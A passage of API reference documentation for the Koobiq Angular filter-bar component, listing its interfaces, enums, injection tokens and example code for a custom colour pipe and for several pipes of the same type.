    saved: boolean;
}
```

##### KbqFilterBarHost (interface)

Contract a pipe (or filter-bar sub-component) depends on instead of the concrete `KbqFilterBar`.
`KbqFilterBar` provides itself as `KBQ_FILTER_BAR_HOST`, so a pipe can be unit-tested against a
lightweight mock of this seam rather than a full bar. Members mirror the current `KbqFilterBar` surface;
they are expected to slim down once the state model moves to signals.

```ts
interface KbqFilterBarHost {
    readonly localeConfiguration: Signal<KbqFilterBarLocaleConfiguration>;
    readonly filter: ModelSignal<KbqFilter | null>;
    readonly pipeTemplates: Signal<KbqPipeTemplate[]>;
    readonly selectedAllEqualsSelectedNothing: Signal<boolean>;
    readonly isSaved: Signal<boolean>;
    readonly isChanged: Signal<boolean>;
    readonly isSavedAndChanged: Signal<boolean>;
    readonly isReadOnly: Signal<boolean>;
    readonly onChangePipe: OutputEmitterRef<KbqPipe>;
    readonly onClearPipe: OutputEmitterRef<KbqPipe>;
    readonly onClosePipe: OutputEmitterRef<KbqPipe>;
    readonly internalFilterChanges: BehaviorSubject<KbqFilter | null>;
    readonly internalTemplatesChanges: BehaviorSubject<KbqPipeTemplate[] | null>;
    readonly openPipe: BehaviorSubject<string | number | null>;
    readonly onResetFilter: BehaviorSubject<boolean>;
    removePipe(pipe: KbqPipe): void;
    resetFilterChangedState(): void;
}
```

- `localeConfiguration`: `Signal<KbqFilterBarLocaleConfiguration>` — Localized strings and configuration for the filter-bar and its pipes. Read via `localeConfiguration()`:
  the bar derives it from the active locale, so an override is registered with
  `kbqFilterBarLocaleConfigurationProvider` or bound as `[localeOverrides]`.
- `filter`: `ModelSignal<KbqFilter | null>` — Currently selected filter. A two-way-bindable `model()`: read via `filter()`, write via `filter.set()`.
- `pipeTemplates`: `Signal<KbqPipeTemplate[]>` — Templates used when adding a pipe (also hold the option lists). Read via `pipeTemplates()`.
- `selectedAllEqualsSelectedNothing`: `Signal<boolean>` — Whether selecting all options counts as selecting nothing.
- `isSaved`: `Signal<boolean>` — Whether the current filter is saved.
- `isChanged`: `Signal<boolean>` — Whether the current filter is changed.
- `isSavedAndChanged`: `Signal<boolean>` — Whether the current filter is both saved and changed.
- `isReadOnly`: `Signal<boolean>` — Whether the current filter is readonly.
- `onChangePipe`: `OutputEmitterRef<KbqPipe>` — Emits whenever a pipe value changes.
  (The two-way-bound `filter` value is emitted by the `filter` model's `filterChange` output.)
- `onClearPipe`: `OutputEmitterRef<KbqPipe>` — Emits whenever a pipe is cleared.
- `onClosePipe`: `OutputEmitterRef<KbqPipe>` — Emits whenever a select/multiselect pipe closes.
- `internalFilterChanges`: `BehaviorSubject<KbqFilter | null>` — Internal filter changes.
- `internalTemplatesChanges`: `BehaviorSubject<KbqPipeTemplate[] | null>` — Internal pipe-template changes.
- `openPipe`: `BehaviorSubject<string | number | null>` — Requests that an already-added pipe open its pop-up. A one-shot command handled synchronously by the
  pipes that exist when it is dispatched, not retained state — clear it back to `null` after `next`. A
  pipe that has not been rendered yet is opened with `openOnAdd` on the pipe itself, not through this.
- `onResetFilter`: `BehaviorSubject<boolean>` — Emits when the filter is reset.
- `removePipe()`: `void` — Removes a pipe from the current filter and emits the change.
- `resetFilterChangedState()`: `void` — Clears the current filter's "changed" flag.

##### KbqFilterBarPipeState (interface)

One pipe as it is persisted: what identifies it, and what the user put in it.

Deliberately not the pipe itself. A pipe built from a template keeps whatever that template carried
(`pipe-add.ts` strips only `values` and `valueTemplate`), so it can hold a `compareWith` function or a
`DateTime` bound — things `JSON.stringify` drops silently rather than rejecting. Everything but the
value is rebuilt from the application's own filters and templates while restoring.

```ts
interface KbqFilterBarPipeState {
    id: string | number;
    value: unknown;
}
```

- `id`: `string | number` — `getId(pipe)` — the pipe's `id`, or its `name` when it has none.
- `value`: `unknown` — The pipe's value, in whatever shape the pipe stores it. Has to survive `JSON.stringify`.

##### KbqFilterBarState (interface)

The persisted state of a filter bar: which filter was selected, and the edits made to it.

```ts
interface KbqFilterBarState {
    name: string;
    changed: boolean;
    pipes: KbqFilterBarPipeState[];
}
```

- `name`: `string` — `KbqFilter.name`, the only identity a filter has. Empty for a filter the user never saved.
- `changed`: `boolean` — Whether the filter carried unsaved changes.
- `pipes`: `KbqFilterBarPipeState[]` — The filter's pipes, in order.

##### KbqFiltersHost (interface)

Contract a projected child depends on instead of the concrete `KbqFilters`. `KbqFilters` provides
itself as `KBQ_FILTERS`, so a child declared in its template does not import the component that
declares it.

```ts
interface KbqFiltersHost {
    saveFocusedElement(button?: KbqButton): void;
}
```

- `saveFocusedElement()`: `void` — Remembers the control focus returns to once the save popover closes.

##### KbqMultiTreeSelectValueTemplateContext (interface)

Context available to a custom `multi-tree-select` value template.

```ts
interface KbqMultiTreeSelectValueTemplateContext<T extends KbqTreeSelectNode = KbqTreeSelectNode> {
    $implicit: KbqPipeMultiTreeSelectComponent;
    option: T;
    search: string | null;
}
```

- `$implicit`: `KbqPipeMultiTreeSelectComponent` — Pipe component instance, matching the implicit context of the flat select pipes.
- `option`: `T` — Original node, including consumer-defined fields omitted from the flattened tree model.
- `search`: `string | null` — Current search query. Defaults to `null`.

##### KbqPipe (interface)

```ts
interface KbqPipe {
    name: string;
    id?: string | number;
    type: KbqPipeType;
    value: unknown | null;
    search?: boolean;
    selectAll?: boolean;
    selectAllCounter?: boolean;
    defaultExpanded?: boolean;
    openOnAdd?: boolean;
    openOnReset?: boolean;
    selectedAllEqualsSelectedNothing?: boolean;
    cleanable: boolean;
    removable: boolean;
    disabled: boolean;
}
```

- `selectAllCounter?`: `boolean` — `multiselect` / `multi-tree-select` pipes only: shows a counter of the elements "Select all" would
  toggle next to its row — all of them, or only the ones matching the search while searching. Locked
  values are not counted. Ignored by other pipe types. Default is `false`.
- `defaultExpanded?`: `boolean` — Tree-based pipes only (`tree-select`, `multi-tree-select`): whether the panel opens with every
  branch expanded. When `false`, all branches start collapsed except the ancestors of the selected
  node(s). Default is `true`.
- `selectedAllEqualsSelectedNothing?`: `boolean` — This is special logic that unselect all items when all selected because "all selected = nothing selected".
  Default is true

##### KbqPipeData (interface)

```ts
interface KbqPipeData<V> extends KbqPipe {
    value: V | null;
    name: string;
    id?: string | number;
    type: KbqPipeType;
    search?: boolean;
    selectAll?: boolean;
    selectAllCounter?: boolean;
    defaultExpanded?: boolean;
    openOnAdd?: boolean;
    openOnReset?: boolean;
    selectedAllEqualsSelectedNothing?: boolean;
    cleanable: boolean;
    removable: boolean;
    disabled: boolean;
}
```

- `selectAllCounter?`: `boolean` — `multiselect` / `multi-tree-select` pipes only: shows a counter of the elements "Select all" would
  toggle next to its row — all of them, or only the ones matching the search while searching. Locked
  values are not counted. Ignored by other pipe types. Default is `false`.
- `defaultExpanded?`: `boolean` — Tree-based pipes only (`tree-select`, `multi-tree-select`): whether the panel opens with every
  branch expanded. When `false`, all branches start collapsed except the ancestors of the selected
  node(s). Default is `true`.
- `selectedAllEqualsSelectedNothing?`: `boolean` — This is special logic that unselect all items when all selected because "all selected = nothing selected".
  Default is true

##### KbqPipeTemplate (interface)

```ts
interface KbqPipeTemplate extends Omit<KbqPipe, 'value'> {
    values?: unknown[];
    valueTemplate?: TemplateRef<any> | string;
    compareWith?: (o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined) => boolean;
    lockedValues?: unknown[];
    panelMaxHeight?: KbqPanelMaxHeight;
    multilineOptions?: boolean;
    noOptionsText?: string;
    minDateTime?: unknown;
    maxDateTime?: unknown;
    minInterval?: unknown;
    maxInterval?: unknown;
    disabled: boolean;
    name: string;
    selectAll?: boolean;
    search?: boolean;
    id?: string | number;
    type: KbqPipeType;
    selectAllCounter?: boolean;
    defaultExpanded?: boolean;
    openOnAdd?: boolean;
    openOnReset?: boolean;
    selectedAllEqualsSelectedNothing?: boolean;
    cleanable: boolean;
    removable: boolean;
}
```

- `valueTemplate?`: `TemplateRef<any> | string` — Custom option content for `select` and `multiselect`, or custom leaf and branch content for
  `tree-select` and `multi-tree-select`. Tree templates receive a `KbqMultiTreeSelectValueTemplateContext` with the
  original `option` and current `search`; filtering and the trigger still use the node's `name`.
  Ignored by other pipe types.
- `compareWith?`: `(o1: KbqSelectValue | null | undefined, o2: KbqSelectValue | null | undefined) => boolean` — Custom equality comparator forwarded to the underlying `kbq-select` of the `select` /
  `multiselect` pipes. When omitted, the pipe's default id-based comparator (`compareByValue`)
  is used. Ignored by other pipe types.
- `lockedValues?`: `unknown[]` — Options whose selection cannot be removed by the user: they are always selected, render as
  `disabled` with a checked checkbox, and survive both "select all" toggling and clearing the pipe.

  Entries have the same shape as the entries of the owning pipe's `value`: `KbqSelectValue` objects
  for the `multiselect` pipe (matched with `compareWith`, falling back to the pipe's id-based
  comparator), and raw node values for the `multi-tree-select` pipe. Locking a tree branch locks its
  whole subtree. Ignored by other pipe types.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the dropdown panel's scrollable list, in pixels, forwarded to the underlying
  `kbq-select` / `kbq-tree-select` of the `select`, `multiselect`, `tree-select` and `multi-tree-select`
  pipes. Omitting it — or passing `null` — keeps the select-family default of 256px, i.e. exactly eight
  32px options.

  The cap covers the scrollable list only, and the list's own padding is added on top of it, so a
  multiple of the option height fits without a scrollbar. The pipe's search field is rendered above the
  list and adds to the panel's total height, while the "select all" row scrolls with the options and is
  counted by the cap. A value taller than the room left in the viewport is clipped by the overlay rather
  than scrolled. Ignored by other pipe types.
- `multilineOptions?`: `boolean` — Whether option names and captions in the dropdown wrap instead of being truncated to one line.
  Applies to the `select`, `multiselect`, `tree-select` and `multi-tree-select` pipes independently of
  `valueTemplate`; ignored by the other pipe types. Unrelated to `KbqSelect.multiline`, which lays the
  trigger's values out in rows.
- `noOptionsText?`: `string` — Message shown in the dropdown of the `select`, `multiselect`, `tree-select` and `multi-tree-select`
  pipes when `values` is empty. Defaults to the localized `pipe.noOptions` string. Ignored by other pipe
  types.
- `minDateTime?`: `unknown` — Earliest selectable instant for the `date` / `datetime` pipe custom period. Accepts any value the
  configured `DateAdapter` can deserialize (with the default Luxon adapter: an ISO-8601 string, a
  `Date`, or a `DateTime`). The `date` pipe uses only its day (pinned to the start of day). Ignored by
  other pipe types.
- `maxDateTime?`: `unknown` — Latest selectable instant for the `date` / `datetime` pipe custom period. See
  `KbqPipeTemplate.minDateTime`. The `date` pipe uses only its day (pinned to the end of day).
  Ignored by other pipe types.
- `minInterval?`: `unknown` — Minimum length of the `date` / `datetime` pipe custom period (`end − start`), as a Luxon
  duration-like object, e.g. `{ days: 1 }` or `{ hours: 2 }`. When the selected period is shorter, the
  editor shows an error and disables Apply. Ignored by other pipe types.

  Unlike `KbqPipeTemplate.minDateTime`, this value is NOT deserialized through the configured
  `DateAdapter` — it is applied directly via the date value's own `.plus()`, so this option currently
  assumes the default Luxon adapter and is not portable to other `DateAdapter` implementations (e.g.
  the Moment adapter).
- `maxInterval?`: `unknown` — Maximum length of the `date` / `datetime` pipe custom period (`end − start`). See
  `KbqPipeTemplate.minInterval`. When the selected period is longer, the editor shows an error and
  disables Apply. Ignored by other pipe types.
- `selectAllCounter?`: `boolean` — `multiselect` / `multi-tree-select` pipes only: shows a counter of the elements "Select all" would
  toggle next to its row — all of them, or only the ones matching the search while searching. Locked
  values are not counted. Ignored by other pipe types. Default is `false`.
- `defaultExpanded?`: `boolean` — Tree-based pipes only (`tree-select`, `multi-tree-select`): whether the panel opens with every
  branch expanded. When `false`, all branches start collapsed except the ancestors of the selected
  node(s). Default is `true`.
- `selectedAllEqualsSelectedNothing?`: `boolean` — This is special logic that unselect all items when all selected because "all selected = nothing selected".
  Default is true

##### KbqPipeType (type)

```ts
type KbqPipeType = `${KbqPipeTypes}` | (string & {});
```

##### KbqSaveFilterError (interface)

```ts
interface KbqSaveFilterError {
    text?: string;
    nameAlreadyExists?: boolean;
}
```

##### KbqSaveFilterEvent (interface)

```ts
interface KbqSaveFilterEvent {
    filter: KbqFilter;
    filterBar: KbqFilterBar;
    status?: KbqSaveFilterStatuses;
}
```

##### KbqSelectValue (interface)

```ts
interface KbqSelectValue {
    name: string;
    value: unknown;
    id?: string | number;
    caption?: string;
}
```

- `id?`: `string | number` — Optional stable identifier used by the select/multi-select pipe comparators.
- `caption?`: `string` — Second line under `name` in the dropdown of the `select` / `multiselect` pipes. Ignored where a
  `valueTemplate` owns the option.

##### KbqTreeSelectNode (interface)

```ts
interface KbqTreeSelectNode {
    children: KbqTreeSelectNode[] | null;
    name: string;
    value: unknown;
    caption?: string;
}
```

- `caption?`: `string` — Second line under `name` in the dropdown of the tree-select pipes. Ignored when `valueTemplate` is used.

#### Enums

##### KbqPipeTypes (enum)

list of pipe types available out of the box

```ts
enum KbqPipeTypes {
    ReadOnly = 'readonly',
    Text = 'text',
    Input = 'input',
    Select = 'select',
    TreeSelect = 'tree-select',
    MultiSelect = 'multiselect',
    MultiTreeSelect = 'multi-tree-select',
    Date = 'date',
    Datetime = 'datetime'
}
```

- `Input`: `'input'` — Renders a bare input: no popover, never opens. Commits while typing (debounced), on Enter and on blur.

##### KbqSaveFilterStatuses (enum)

saving statuses for KbqSaveFilterEvent

```ts
enum KbqSaveFilterStatuses {
    OnlyChanges = 'onlyChanges',
    NewName = 'newName',
    NewFilter = 'newFilter'
}
```

#### Constants

##### defaultFilterBarPipes (const)

list of pipes available out of the box.

```ts
const defaultFilterBarPipes: [KbqPipeType, Type<KbqBasePipe<unknown>>][];
```

##### KBQ_FILTER_BAR_CONFIGURATION (const)

Deprecated: Use `KBQ_FILTER_BAR_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_FILTER_BAR_CONFIGURATION: InjectionToken<KbqFilterBarLocaleConfiguration>;
```

##### KBQ_FILTER_BAR_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_FILTER_BAR_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_FILTER_BAR_DEFAULT_CONFIGURATION: KbqFilterBarLocaleConfiguration;
```

##### KBQ_FILTER_BAR_DEFAULT_LOCALE_CONFIGURATION (const)

Default localized strings for the filter-bar, used when no `KBQ_LOCALE_SERVICE` (nor an explicit
`KBQ_FILTER_BAR_LOCALE_CONFIGURATION`) is provided. These are the Russian (`ru-RU`) strings, matching the
library-wide default-locale convention (every `KBQ_*_DEFAULT_LOCALE_CONFIGURATION` resolves to
`ruRULocaleData`).
Provide `KBQ_LOCALE_SERVICE` at the application root to localize the filter-bar for other locales.

```ts
const KBQ_FILTER_BAR_DEFAULT_LOCALE_CONFIGURATION: KbqFilterBarLocaleConfiguration;
```

##### KBQ_FILTER_BAR_HOST (const)

Injection token exposing the `KbqFilterBarHost` seam. `KbqFilterBar` provides itself via
`useExisting`, so pipes `inject(KBQ_FILTER_BAR_HOST)` instead of depending on the concrete bar.

```ts
const KBQ_FILTER_BAR_HOST: InjectionToken<KbqFilterBarHost>;
```

##### KBQ_FILTER_BAR_LOCALE_CONFIGURATION (const)

Injection Token for providing configuration of filter-bar

```ts
const KBQ_FILTER_BAR_LOCALE_CONFIGURATION: InjectionToken<KbqFilterBarLocaleConfiguration>;
```

##### KBQ_FILTER_BAR_PIPES (const)

Injection Token for providing pipes in filter-bar. Defaults to `defaultFilterBarPipes` so the
standalone `KbqFilterBar` works without `KbqFilterBarModule`; override it with
`kbqFilterBarPipesProvider` or a provider of your own.

```ts
const KBQ_FILTER_BAR_PIPES: InjectionToken<Map<KbqPipeType, Type<KbqBasePipe<unknown>>>>;
```

##### KBQ_FILTERS (const)

Injection token exposing the `KbqFiltersHost` seam.

```ts
const KBQ_FILTERS: InjectionToken<KbqFiltersHost>;
```

##### KBQ_PIPE_DATA (const)

Injection Token for providing configuration of filter-bar

```ts
const KBQ_PIPE_DATA: InjectionToken<unknown>;
```

##### kbqFilterBarLocaleConfigurationProvider (const)

Utility provider for `KBQ_FILTER_BAR_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the rest
keep following the active locale.

```ts
const kbqFilterBarLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqFilterBarLocaleConfiguration>
) => Provider;
```

##### kbqFilterBarPipesProvider (const)

Utility provider for `KBQ_FILTER_BAR_PIPES`.

```ts
const kbqFilterBarPipesProvider: () => Provider;
```

### Examples

#### Example of adding a custom pipe

**Example: filter-bar-custom-pipe** (`filter-bar-custom-pipe`)

```ts filter-bar-custom-pipe-example.ts
import {
    AfterViewInit,
    ChangeDetectionStrategy,
    Component,
    computed,
    OnInit,
    viewChild,
    ViewEncapsulation
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqButtonModule } from '@koobiq/components/button';
import { DateFormatter, PopUpPlacements } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import {
    defaultFilterBarPipes,
    KBQ_FILTER_BAR_PIPES,
    KbqBasePipe,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeButton,
    KbqPipeState,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqTitleModule } from '@koobiq/components/title';
import { injectLocalizedPeriods } from '../localized-data';

@Component({
    selector: 'color-pipe',
    imports: [
        KbqButtonModule,
        KbqPopoverModule,
        KbqInputModule,
        KbqDividerModule,
        FormsModule,
        KbqTextareaModule,
        ReactiveFormsModule,
        KbqTitleModule,
        KbqPipeState,
        KbqPipeButton
    ],
    template: `
        <button
            kbq-button
            kbqPopover
            [disabled]="data.disabled"
            [kbqPipeState]="data"
            [kbq-title]="pipeTooltip"
            [kbqPopoverArrow]="false"
            [kbqPopoverClass]="'kbq-pipe__popover'"
            [kbqPopoverContent]="content"
            [kbqPopoverOffset]="4"
            [kbqPopoverPlacement]="placements.BottomLeft"
            [class]="{ 'kbq-active': popover().isOpen }"
        >
            <span #kbqTitleText class="kbq-pipe__name">{{ data.name }}</span>
            <span #kbqTitleText class="kbq-pipe__value" [class.kbq-pipe__value_empty]="!data.value">
                {{ data.value }}
            </span>
        </button>

        @if (showRemoveButton) {
            <kbq-pipe-button />
        }

        <ng-template #content>
            <input
                class="layout-margin-bottom-s"
                type="color"
                style="width:100%;"
                [formControl]="control"
                (keydown.enter)="popover().hide()"
            />
        </ng-template>

        <ng-template #pipeTooltip>
            <div class="kbq-pipe-tooltip__name kbq-text-compact">{{ data.name }}</div>
            <div class="kbq-pipe-tooltip__value kbq-text-compact">{{ data.value }}</div>
        </ng-template>
    `,
    styleUrls: ['../../../../components/filter-bar/pipes/base-pipe.scss'],
    providers: [
        {
            provide: KbqBasePipe,
            useExisting: this
        }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class ColorPipeComponent extends KbqBasePipe<string | null> implements AfterViewInit, OnInit {
    readonly placements = PopUpPlacements;

    readonly popover = viewChild.required(KbqPopoverTrigger);

    get isEmpty(): boolean {
        return this.data.value === null || this.data.value === undefined;
    }

    get showRemoveButton(): boolean {
        return this.data.removable || (this.data.cleanable && !this.isEmpty);
    }

    get disabled(): boolean {
        return !this.control.value;
    }

    control = new FormControl<typeof this.data.value>('');

    ngOnInit(): void {
        this.control.setValue(this.data.value);
    }

    ngAfterViewInit() {
        super.ngAfterViewInit();

        this.popover()
            .visibleChange.pipe(takeUntilDestroyed(this.destroyRef))
            .subscribe((visible) => {
                if (!visible) {
                    this.data.value = this.control.value;
                    this.filterBar?.onChangePipe.emit(this.data);
                }

                this.stateChanges.next();
            });
    }

    override open() {
        this.popover().show();
    }
}

@Component({
    selector: 'filter-bar-custom-pipe-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="filter">
            @for (pipe of filter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (filter.pipes.length) {
                <kbq-filter-reset (onResetFilter)="filter.pipes = []" />
            }
        </kbq-filter-bar>
    `,
    providers: [
        DateFormatter,
        {
            provide: KBQ_FILTER_BAR_PIPES,
            useValue: new Map([...defaultFilterBarPipes, ['colorPipe', ColorPipeComponent]])
        }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarCustomPipeExample {
    filters: KbqFilter[] = [];
    filter: KbqFilter = {
        name: '',
        readonly: false,
        disabled: false,
        changed: true,
        saved: false,
        pipes: [
            {
                name: 'colorPipe',
                type: 'colorPipe',
                value: '#112233',

                cleanable: false,
                removable: true,
                disabled: false
            }
        ]
    };

    /** Period labels follow the active locale, so the templates are rebuilt whenever it changes. */
    protected readonly periods = injectLocalizedPeriods();

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'colorPipe',
            type: 'colorPipe',

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);
}
```

```scss ../../../../components/filter-bar/pipes/base-pipe.scss
@use '../../core/styles/common';
@use '../filter-bar-theme' as *;

.kbq-pipe {
    display: flex;
    flex-direction: row;

    // Caps the whole pipe, clear and remove buttons included. The label's grid tracks have no
    // min-content, so the trigger gives way down to its own paddings without `min-width: 0`.
    max-width: var(--kbq-filter-bar-pipe-max-width, 320px);
    max-height: 32px;

    & .kbq-select .kbq-select__trigger {
        height: unset;
    }

    // The button's default slot is an inline text box; a pipe puts its own row of two independently
    // truncated parts (name + value) in there, as two shrinkable tracks: as flex items they would give
    // up the same percentage, which wipes out a short name long before a long value becomes unreadable.
    // Qualified with `.kbq-button` on purpose: the base rule is `.kbq-button .kbq-button-text`, so a
    // two-class selector would only win on source order, which differs between app bundles.
    .kbq-button .kbq-button-text {
        display: grid;
        grid-auto-flow: column;
        grid-auto-columns: minmax(0, max-content);
        align-items: center;
    }

    .kbq-pipe__name {
        @include common.kbq-truncate-line();
    }

    .kbq-pipe__value {
        @include common.kbq-truncate-line();

        &:not(.kbq-pipe__value_empty) {
            margin-inline-start: 4px;
        }
    }

    .kbq-select:not(:hover, .kbq-active),
    .kbq-tree-select:not(:hover, .kbq-active),
    .kbq-button:not(:hover, .kbq-active, [disabled]) {
        & + .kbq-pipe-button:not(:hover, .kbq-active)::after {
            content: '';
            position: absolute;
            inset-inline-start: 0;
            top: var(--kbq-size-s);

            width: 1px;
            height: var(--kbq-size-l);
        }
    }

    .kbq-button.cdk-keyboard-focused {
        z-index: 1;
    }
}

.kbq-pipe.kbq-pipe_removable,
.kbq-pipe.kbq-pipe_cleanable:not(.kbq-pipe_empty) {
    .kbq-button {
        border-end-end-radius: unset;
        border-start-end-radius: unset;
        border-inline-end: none;

        &.cdk-keyboard-focused::after {
            content: '';
            position: absolute;
            inset-inline-end: 0;
            top: 0;
            bottom: 0;
            width: 1px;
        }
    }

    .kbq-button-icon {
        border-end-start-radius: unset;
        border-start-start-radius: unset;
        border-inline-start: none;

        &.cdk-keyboard-focused::after {
            content: '';
            position: absolute;
            inset-inline-start: 0;
            top: 0;
            bottom: 0;
            width: 1px;
        }
    }
}

// The dropdown is portaled into the overlay, so it is reachable only through the pipe's `panelClass`.
.kbq-pipe-select__panel_multiline,
.kbq-pipe-multiselect__panel_multiline,
.kbq-pipe-tree-select__panel_multiline,
.kbq-pipe-multi-tree-select__panel_multiline {
    // `overflow: hidden` from `kbq-list-text()` stays: it gives the flex item a minimum size of 0, so the
    // text shrinks to the option width instead of stretching the row.
    .kbq-option-text,
    .kbq-tree-option .kbq-option-text {
        white-space: normal;
        overflow-wrap: break-word;
    }
}

// The gap comes from the stylesheet, not from template whitespace: the compiler strips the whitespace-only
// text node between the label and the counter (the tree label is an `[innerHTML]` binding, so nothing else
// keeps a space there), and a margin is immune to that. The tree selector carries `.kbq-tree-option` so
// the margin survives the option reset `.kbq-tree-option .kbq-option-text > * { margin: 0 }`, which also
// clears the logical longhands and would otherwise tie on specificity.
.kbq-pipe-multiselect__panel .kbq-pipe-select-all__counter,
.kbq-pipe-multi-tree-select__panel .kbq-tree-option .kbq-pipe-select-all__counter {
    margin-inline-start: var(--kbq-size-xxs);
}

// A wrapped row is taller than one line: pin the checkbox and the toggle to the FIRST line,
// as `:has(.kbq-option-caption)` in `tree-option.scss` does for two-line options. On a 32px row
// this alignment coincides with the centered one, so single-line options do not change.
.kbq-pipe-tree-select__panel_multiline,
.kbq-pipe-multi-tree-select__panel_multiline {
    .kbq-tree-option {
        & > .kbq-pseudo-checkbox,
        & > kbq-checkbox {
            align-self: flex-start;
            margin-top: var(--kbq-size-3xs);
        }

        & > .kbq-tree-node-toggle {
            align-self: flex-start;

            height: var(--kbq-typography-text-normal-line-height);
            margin-top: 0;
        }
    }
}

@include kbq-filter-bar-pipe-theme();
```

#### Example of multiple pipes with the same type

**Example: filter bar** (`filter-bar-uniq-pipes`)

```ts filter-bar-uniq-pipes-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import {
    KbqFilter,
    KbqFilterBar,
    KbqFilterBarModule,
    KbqPipe,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSaveFilterEvent,
    KbqSaveFilterStatuses
} from '@koobiq/components/filter-bar';
import { injectLocalizedPeriods, injectLocalizedText } from '../localized-data';

/** Text search is the first pipe in every filter: always present, never removable. */
const createSearchPipe = (name: string): KbqPipe => ({
    name,
    type: KbqPipeTypes.Input,
    value: null,

    cleanable: true,
    removable: false,
    disabled: false
});

@Component({
    selector: 'filter-bar-uniq-pipes-example',
    imports: [KbqFilterBarModule, LuxonDateModule],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates()"
            [filter]="activeFilter()"
            (filterChange)="onFilterChange($event)"
        >
            <kbq-filters
                [filters]="filters()"
                (onSave)="onSaveFilter($event)"
                (onResetFilterChanges)="onResetFilterChanges($event)"
                (onRemoveFilter)="onDeleteFilter($event)"
            />

            @for (pipe of activeFilter()?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (activeFilter()?.name !== defaultFilter()?.name || activeFilter()?.changed) {
                <kbq-filter-reset (onResetFilter)="onResetFilter()" />
            }
        </kbq-filter-bar>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarUniqPipesExample {
    /** Period labels follow the active locale, so everything built out of them is rebuilt with it. */
    protected readonly periods = injectLocalizedPeriods();

    /** Text the example owns: it has no counterpart in the library's locale data. */
    protected readonly text = injectLocalizedText({
        'ru-RU': { search: 'Поиск' },
        default: { search: 'Search' }
    });

    // Everything below is derived from the period labels, so it is rebuilt whenever the locale changes:
    // `*kbqPipe` builds a pipe component once from the object it is given and ignores later changes to
    // that binding, so a relabelled period only reaches the screen as a new pipe object.
    readonly filters = linkedSignal(() => this.createFilters());
    readonly savedFilters = computed(() => structuredClone(this.createFilters()));

    readonly defaultFilter = computed<KbqFilter | null>(() => this.getDefaultFilter());
    readonly activeFilter = linkedSignal<KbqFilter | null>(() => this.getDefaultFilter());

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'myDate',
            type: KbqPipeTypes.Date,
            values: this.periods.date().slice(0, 3),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime_1',
            id: 'myDatetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime().slice(0, 3),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect_1',
            id: 'myMultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
